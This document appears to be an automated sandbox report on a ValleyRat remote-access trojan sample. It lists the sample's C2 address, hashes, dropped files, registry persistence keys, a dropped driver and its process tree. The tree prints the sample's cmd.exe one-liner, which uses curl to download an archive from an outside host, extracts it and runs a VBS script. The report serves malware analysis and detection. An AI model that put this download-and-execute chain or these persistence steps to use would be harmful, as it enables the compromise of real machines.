Overview
overview
10Static
static
5OP-5.zip
windows10-2004-x64
10OP-5.zip
windows11-ltsc_2024-x64
10OP-5/NO-5.exe
windows10-2004-x64
10OP-5/NO-5.exe
windows11-ltsc_2024-x64
10OP-5/d3d9core.png
windows10-2004-x64
1OP-5/d3d9core.png
windows11-ltsc_2024-x64
8OP-5/libcef.dll
windows10-2004-x64
3OP-5/libcef.dll
windows11-ltsc_2024-x64
3Analysis
- user interaction
yes - max time kernel
960s - max time network
961s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
26/10/2026, 14:17
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
OP-5.zip
Resource
win10v2004-20260911-en
windows10-2004-x64
15 signatures
900 seconds
Behavioral task
behavioral2
Sample
OP-5.zip
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
22 signatures
900 seconds
Behavioral task
behavioral3
Sample
OP-5/NO-5.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
16 signatures
900 seconds
Behavioral task
behavioral4
Sample
OP-5/NO-5.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
27 signatures
900 seconds
Behavioral task
behavioral5
Sample
OP-5/d3d9core.png
Resource
win10v2004-20260911-en
windows10-2004-x64
2 signatures
900 seconds
Behavioral task
behavioral6
Sample
OP-5/d3d9core.png
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
15 signatures
900 seconds
Behavioral task
behavioral7
Sample
OP-5/libcef.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
7 signatures
900 seconds
Behavioral task
behavioral8
Sample
OP-5/libcef.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
2 signatures
900 seconds
General
- Target OP-5.zip
- Size 5.1MB
- Sample261026-rlxcmaxsg1
- SHA256 244fd5ecb1fe8ec99bc9006015ad9b42193f9dc6b6dc953fa4e723ca86d7f966
- MD5 1fa04e402f25958d445b646fc460c4a4
- SHA1 e94896e514b78b3c8d81759286b4a4efb707b0b9
- SHA512 21416a047fba8d75e719ea4c76646f039818305291514ccf71c98268e7afc69c6c069e723be77a2901641e4cda9c0556cee989a8edba194834f070bc9f9a3fc9
- SSDEEP 98304:d6x6CM54j/anKwYnxU2xN/9Jj31qAb/y44b4V0xgufUB9kREzZuf:Qx854+wxvrtvb6b4Vs/e9kRE8
- TLSH T1B64623FDDDB941FD75BD2FD9AAA50787154A0EA34DF74C881C8391AEC931EB00170AA2
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
valleyrat_s2
C2
-
156.234.7.14:8001
Signatures
- Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
- Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\kvckiller.sys cache.exe - Sets service image path in registry 3 TTPs 2 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\EmbeddedDriverService\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\EmbeddedDriverService.sys" NO-5.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\EmbeddedDriverService\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\EmbeddedDriverService.sys" svchostsr.exe - Executes dropped EXE 3 IoCs
pid Process 2244 cache.exe 3216 kvckiller.sys 5800 svchostsr.exe - Loads dropped DLL 1 IoCs
pid Process 5800 svchostsr.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\RunApp = "C:\\Users\\Public\\svchostsr.exe" NO-5.exe - Enumerates connected drives 3 TTPs 22 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: NO-5.exe File opened (read-only) \??\P: NO-5.exe File opened (read-only) \??\X: NO-5.exe File opened (read-only) \??\Z: NO-5.exe File opened (read-only) \??\R: NO-5.exe File opened (read-only) \??\I: NO-5.exe File opened (read-only) \??\N: NO-5.exe File opened (read-only) \??\O: NO-5.exe File opened (read-only) \??\Y: NO-5.exe File opened (read-only) \??\B: NO-5.exe File opened (read-only) \??\S: NO-5.exe File opened (read-only) \??\T: NO-5.exe File opened (read-only) \??\V: NO-5.exe File opened (read-only) \??\Q: NO-5.exe File opened (read-only) \??\H: NO-5.exe File opened (read-only) \??\J: NO-5.exe File opened (read-only) \??\K: NO-5.exe File opened (read-only) \??\L: NO-5.exe File opened (read-only) \??\M: NO-5.exe File opened (read-only) \??\U: NO-5.exe File opened (read-only) \??\W: NO-5.exe File opened (read-only) \??\D: NO-5.exe - Enumerates video capture drivers 2 TTPs 1 IoCs
Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9 NO-5.exe - Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3328 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname svchostsr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain svchostsr.exe - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language NO-5.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchostsr.exe - Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings taskmgr.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3892 taskmgr.exe - Suspicious behavior: LoadsDriver 48 IoCs
pid Process 5612 NO-5.exe 820 Process not Found 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe 5800 svchostsr.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeLoadDriverPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe Token: SeDebugPrivilege 5612 NO-5.exe - Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe - Suspicious use of SendNotifyMessage 64 IoCs
pid Process 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe 3892 taskmgr.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 3892 taskmgr.exe 3892 taskmgr.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 5612 wrote to memory of 2244 5612 NO-5.exe 99 PID 5612 wrote to memory of 3328 5612 NO-5.exe 102 PID 3328 wrote to memory of 4304 3328 cmd.exe 104 PID 3328 wrote to memory of 3080 3328 cmd.exe 107 - cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
description flow ioc HTTP User-Agent header 19 curl/8.8.0
Processes
-
C:\Windows\Explorer.exeC:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\OP-5.zip1⤵PID:4948
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:2656
-
C:\Windows\System32\SecurityHealthHost.exe\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding1⤵PID:2532
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:3004
-
C:\Users\Admin\Desktop\OP-5\NO-5.exe"C:\Users\Admin\Desktop\OP-5\NO-5.exe"1⤵
- Sets service image path in registry
- Adds Run key to start application
- Enumerates connected drives
- Enumerates video capture drivers
- System Location Discovery: System Language Discovery
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5612 -
C:\Users\Public\cache.exeC:\Users\Public\cache.exe2⤵
- Drops file in Drivers directory
- Executes dropped EXE
PID:2244
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c curl -L -o C:\DMRootCA.zip https://xzy-1469461515.cos.ap-singapore.myqcloud.com/DMRootCA.zip && if not exist C:\DMRootCA md C:\DMRootCA && tar -xf C:\DMRootCA.zip -C C:\DMRootCA && del C:\DMRootCA.zip && cscript //B //Nologo C:\DMRootCA\Optimizeinstallation.vbs2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3328 -
C:\Windows\SysWOW64\curl.execurl -L -o C:\DMRootCA.zip https://xzy-1469461515.cos.ap-singapore.myqcloud.com/DMRootCA.zip3⤵
- System Location Discovery: System Language Discovery
PID:4304
-
-
C:\Windows\SysWOW64\tar.exetar -xf C:\DMRootCA.zip -C C:\DMRootCA3⤵PID:3080
-
-
-
C:\Windows\System32\drivers\kvckiller.sysC:\Windows\System32\drivers\kvckiller.sys1⤵
- Executes dropped EXE
PID:3216
-
C:\Users\Public\svchostsr.exeC:\Users\Public\svchostsr.exe1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
PID:5800
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:3892
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\DMRootCA.zip
- Size 384B
- SHA256 1b4adf39370007572345603c61b3b533518727a0db2812a29a10e81ef3ce993a
- MD5 b17b90faa917f023852fcd9c8143c777
- SHA1 c09e54dfebbd6c8e7d27b9a231e8ad86ee1a00e7
- SHA512 87be7e1308d7fd3740b9fa0e08d1a0727f9f4c1202bff0a54f0f606209aa7cf47360a44fd4cda1dec22a43d454b78c6e5e732c1dbe54cf4fe8e8e1410136d24e
- TLSH T179E0C07D12C95D594C6032BFE81EAB3EEE89B930B0F17078DD0459C2AFDE2416879B05
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sys
- Size 34KB
- SHA256 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
- MD5 485a04675df7cf40a8865706e003eb25
- SHA1 711ef221526997039e804a18db9647c91680bbe2
- SHA512 f4bfd8c2056ccc08012cc35a4480eea5f91f43d69872dd65e935d6224ee56eca0a017cca1d088245440a3ceeb129fc90fbef4c1a30550de08b6102a7cf526350
- SSDEEP 768:fag4/W+9Nz53T+rBORCDItmhcK6OpmlQu9lcsD/9z0y:CgGzVGORWItmhcK6OpQN9lcEz0y
- TLSH T1A1F24CC072EC48C5E8AA9974E555D647AAF0F6420310D9FF46D0C1585F277C2EE3D2BA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\cache.exe
- Size 349KB
- SHA256 46f65f7089e8bf0468a096247243d513f4667a964c239ea00334431122f1a544
- MD5 89733460266ebe94928157c96023e27c
- SHA1 3fc81d75655b2cdc929edb64a3593571a9efb6bb
- SHA512 5f5b2aba83068deefa1c01b7e84109873d2c63494a61b373da1c846c6453a5960605587471687c79c88080cdc6cd8d3b96c98acf5a92240cde6b2922f803470c
- SSDEEP 6144:kfC59veo09bgmIdule2lkoDigaJQ8qrwnSJmdS7BELHgJ8jAm:b5ibV65OZ6QJrKSw87C
- TLSH T15F746B05E7A504FAEA67867CC992C515EA727C214760F7CB03D08EAB3E236D49E3E711
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\libcef.dll
- Size 11.6MB
- SHA256 f8515b0e2a68b677a105ed438062223ac91e61c7796bd6cd83089e1b0591016b
- MD5 122ca07761bd2aadc59f3f344e95aabf
- SHA1 fb6fe73aeff1377b6c1f0b5819f93821be1e207f
- SHA512 d8c33aeb72e6010fa2a67ab69c9ca2b4f2c6225514d53278338c3ac1f74481b89ca56ff8ab1489f24e0e22e53fb73735c4ddc310180c83c7585660e5967f6f20
- SSDEEP 49152:oWQQFCSewjuBfaBpYc47VNR5xBJB/mPLNjUISv8TrVoVAvJE6b8cr2piTZei7aTn:95DyBSBCDVNRoTNoyvhrzav1F3V
- TLSH T1D0C649F2654B73ACC29BCAF3A02C0444364699D112E949F3E5C47A74AFEFD99E214336
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\svchostsr.exe
- Size 671KB
- SHA256 85314a24741a27bb969008b91f6f47e08f1a7a761eb9c772da8a608947dbe092
- MD5 15863d6cfaebb1f75461a6c72a0e5376
- SHA1 16247f741a9cb345e1e2ad199f60d4101a34c8ca
- SHA512 a982eaa430a3ab3c5e7d248eef6216d463a349ec407d63a326ba8e67b99d9ef00283ec7ab9db7c14e013c990e21b028611b9ef8341f32e7768dcd54643807fa8
- SSDEEP 12288:27ehokgmoz1Vwy+UGLOMlPGnzM2LE+vomFFb5KSIAWb5sKwIqsr1KMkPwWK7tbG:27jkgmooy+fizM2LE+vomFnvIAWOdsrM
- TLSH T158E47D613642C03ED77210B00D3DDAAE107DF6654F2699DBA3C80E6D5FB42D22E3A667
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\drivers\kvckiller.sys
- Size 37KB
- SHA256 ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8
- MD5 2f4b5a0d98bc4e5616f2dd04337ae674
- SHA1 f8a3f28ecbd0b08ecab73ef571f16c3d0bd5e009
- SHA512 d46c14789e7cd5540ed6442d3362e8e09bb32250b570aab44b228c54dd8748048111adb0adc89eec860d1c5c6357946a9671c072e92ccb84699de963cc8d7845
- SSDEEP 384:fWT7WKllIBt9dS6Bn/amID5aUAtAcwHbftAVBMIYioQrHvPxh8E9VF0NyQEvxXhD:L6OQlKVrYioQjPxWEauXhIf3Wx9zpQ5
- TLSH T10B03AD9346642495DE6AAA3096D1DD17FD78B6821B61C2EB0329C2481F633C1F7393BE
- MD5 SHA1 SHA512 SSDEEP TLSH